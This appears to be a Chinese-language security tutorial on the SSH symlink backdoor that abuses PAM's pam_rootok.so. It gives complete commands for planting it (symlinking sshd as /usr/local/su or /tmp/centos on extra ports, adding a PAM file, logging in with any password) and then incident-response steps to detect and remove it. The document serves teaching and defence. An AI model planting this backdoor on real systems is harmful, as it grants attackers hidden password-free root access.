漏洞原理

主要是pam_rootok.so模块造成的漏洞

pam_rootok.so主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。

1.PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。

2.当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。

1
2
3
通俗点来说,
是sshd服务启用了PAM认证机制,在/etc/ssh/sshd_config文件中,设置UsePAM 为yes。如果不启用PAM,系统严格验证用户密码,不能建立后门。
在/etc/pam.d/目录下,对应文件里包含"auth sufficient pam_rootok.so"配置,只要PAM配置文件中包含此配置即可SSH任意密码登录。

查看/etc/pam.d/su 文件中,我们可以看到使用了该模块,这也是为什么root用户切换至普通用户不需要密码的原因。

image-20231006005144972

环境搭建

一、修改/etc/selinux/config文件中的SELINUX=”” 为 disabled 。

二、判断sshd_config配置中的UsePAM参数是否为yes

1
cat /etc/ssh/sshd_config

image-20231006005534267

三、确认对应的pam配置文件是否包含auth sufficient pam_rootok.so配置,只在包含这件配置才可以通过ssh任意密码登录。

image-20231006005624809

四、创建软连接!

code1:使用ln命令创建root账户 ssh软链接后门命令
1
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345

命令解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345

ln -sf /usr/sbin/sshd /usr/local/su
这部分命令使用 ln 命令创建一个符号链接。它将 /usr/local/su 设置为指向 /usr/sbin/sshd 的符号链接。这意味着如果你执行 /usr/local/su,实际上会启动 /usr/sbin/sshd
-s:表示创建符号链接。
-f:表示如果 /usr/local/su 已经存在,则强制覆盖它。

/usr/local/su -oPort=12345
前面那条命令创建了一个符号链接/usr/local/su指向了/usr/sbin/sshd,通俗的来讲执行/usr/local/su就相当于是在执行/usr/sbin/sshd
那/usr/local/su -oPort=12345就相当于在执行/usr/sbin/sshd -oPort=12345
-oPort=12345:通过 -o 指定了一个配置参数。在这里,Port=12345 意味着将监听端口设置为 12345,而不是默认的 SSH 端口(通常是 22)
简单的来说这个命令将启动 SSH 服务器,并使其监听在端口 12345 上,从而允许客户端连接到该服务器。

/usr/local/su 软连接 链接名是自定义的随便什么都可以(只要你写后面的时候你觉得够隐秘就可以)
code2:创建其它账户 ssh软连接后门命令

这里以centos用户举例

image-20231006012241379

1、写一个 centos用户ssh登录用的PAM 配置

1
2
3
4
5
6
7
echo " 
#%PAM-1.0
auth sufficient pam_rootok.so
auth include system-auth
account include system-auth
password include system-auth
session include system-auth " >> /etc/pam.d/centos

配置详细解释

1
2
3
4
5
6
#%PAM-1.0:这是一个注释行,PAM 配置文件通常以此开始,指示文件的版本。
auth sufficient pam_rootok.so:这一行指定了身份验证部分的配置。它表示如果用户是 root(超级用户),则身份验证成功(sufficient),这意味着 root 用户无需进一步验证即可访问系统。
auth include system-auth:这一行包含了 system-auth 配置文件中的内容,以进一步定义身份验证策略。通常,system-auth 包含了更复杂的身份验证规则和设置。
account include system-auth:这一行包含了 system-auth 配置文件中的内容,用于帐户管理方面的配置。
password include system-auth:同样,这一行包含了 system-auth 配置文件中的内容,用于密码策略的配置。
session include system-auth:最后一行包含了 system-auth 配置文件中的内容,用于定义会话管理规则。

2、开启软连接

1
ln -sf /usr/sbin/sshd /tmp/centos;/tmp/centos -oPort=2222

漏洞利用

使用ssh远程连接即可

1
2
ssh root@192.168.142.138 -p 12345
ssh centos@192.168.142.138 -p 2222

密码随便输

image-20231006013402232

image-20231006013143614

应急响应过程

1.查看开放的端口,是否存在异常端口

1
netstat -anpt

image-20231006013906448

例如:

  • 大端口或者是非常见的端口号
  • 上面运行的服务没见过的就比如上图的centos和su
  • 有远程主机在远程连接本地非常见端口

2.查看PID所用的程序

命令:

1
2
3
4
5
ll /proc/1832


#ls -al /proc/1832 命令的简写
/proc/1832 不懂得可以百度一下,不想写了

image-20231006014642986

3.确定软链接后门文件

image-20231006015957179

查看所有的su文件,以及查找具体哪一个su是软链接后门

1
2
3
4
find / -name su
ls -al /etc/selinux/targeted/active/modules/100/su
ls -al /etc/pam.d/su
ls -al /usr/local/su

image-20231006020454278

看到/usr/local/su软连接到/usr/sbin/sshd

4.最后删除软链接后门

1
2
rm -rf   /usr/local/su  
kill -9 1832

image-20231006020746609

如果有远程主机已经使用软连接已经远程连接主机需要提出在线用户或者删除掉这个进程

image-20231006021022830

删除进程:

1
kill -9 2558

image-20231006021226083

踢出在线用户:

1
2
w
pkill -kill -t pts/1

image-20231006021920071